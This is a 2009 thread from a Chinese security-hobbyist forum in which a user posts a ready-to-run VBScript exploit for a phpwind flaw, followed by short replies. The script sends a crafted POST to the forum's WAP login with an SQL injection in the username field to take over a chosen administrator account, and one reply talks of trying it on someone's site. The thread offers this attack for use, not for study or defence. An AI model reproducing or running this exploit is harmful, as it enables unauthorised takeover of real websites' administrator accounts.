【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: phpwind任意修改管理员密码漏洞 VBS版利用程序 [打印本页]

作者: 虚竹 时间: 2009-1-31 17:46 标题: phpwind任意修改管理员密码漏洞 VBS版利用程序

phpwind任意修改管理员密码漏洞 VBS版利用程序
复制内容到剪贴板
代码:

'phpwind任意修改管理员密码漏洞 VBS版利用程序 By Tr4c3
Dim strUrl, strPost, xPost, strGet
Set Args = Wscript.Arguments
If Args.count<>2 Then
Wscript.Echo "Usage: " & Wscript.ScriptName & " http://hi.baidu.com/tr4c3/ 1"
Wscript.Quit
Else
strUrl = Args(0) & "wap/index.php"

strPost = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "& Args(1) &",mid(md5(666666),9,16),3,1,5/*&pwpwd=666666"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST", strUrl, False
xPost.SetRequestHeader "Referer", strUrl
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xPost.send(strPost)
strGet = xPost.ResponseText
If InStr(strGet,"登录成功")<>0 Then
Wscript.Echo("执行成功")
Else
Wscript.Echo("执行失败")
End If
End If
就算错，我也错到底！我的空间，我的世界

作者: valen2000 时间: 2009-1-31 17:46

学习了~~~~~~~~
回头出去找个美萍的试试

作者: 山^鹰 时间: 2009-1-31 17:47

这个是批处理吗？还是编程代码？

作者: cyt 时间: 2009-2-9 08:50

請問這個是什麼東東?
唉
白癡一個
看不懂

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com/)